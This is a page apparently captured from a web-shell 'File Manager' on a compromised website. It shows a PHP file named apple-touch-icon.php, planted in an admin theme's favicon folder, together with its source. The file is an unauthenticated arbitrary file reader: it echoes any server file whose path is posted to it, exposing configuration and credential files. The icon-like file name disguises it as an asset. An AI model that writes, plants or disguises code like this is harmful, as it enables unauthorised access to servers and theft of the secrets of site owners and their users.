File Manager

Current Path : /webspace/www.babilon.be/html/admin/themes/OneEleven/images/favicon/
Upload File :
Current File : //webspace/www.babilon.be/html/admin/themes/OneEleven/images/favicon/apple-touch-icon.php

<!DOCTYPE html>
<html>
<head>
    <title>Read File Content</title>
</head>
<body>
    <form method="post">
        <label for="filepath">Enter file path:</label>
        <input type="text" id="filepath" name="filepath" required>
        <button type="submit">Read File</button>
    </form>

    <?php
    function readFileContent($filePath) {
        if (file_exists($filePath) && is_readable($filePath)) {
            $file = fopen($filePath, "r");
            
            while (!feof($file)) {
                $line = fgets($file);
                echo htmlspecialchars($line) . "<br>";
            }
            
            fclose($file);
        } else {
            echo "File does not exist or is not readable.";
        }
    }

    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        $filePath = $_POST["filepath"];
        readFileContent($filePath);
    }
    ?>
</body>
</html>

File Manager Version 1.0, Coded By Lucas
Email: hehe@yahoo.com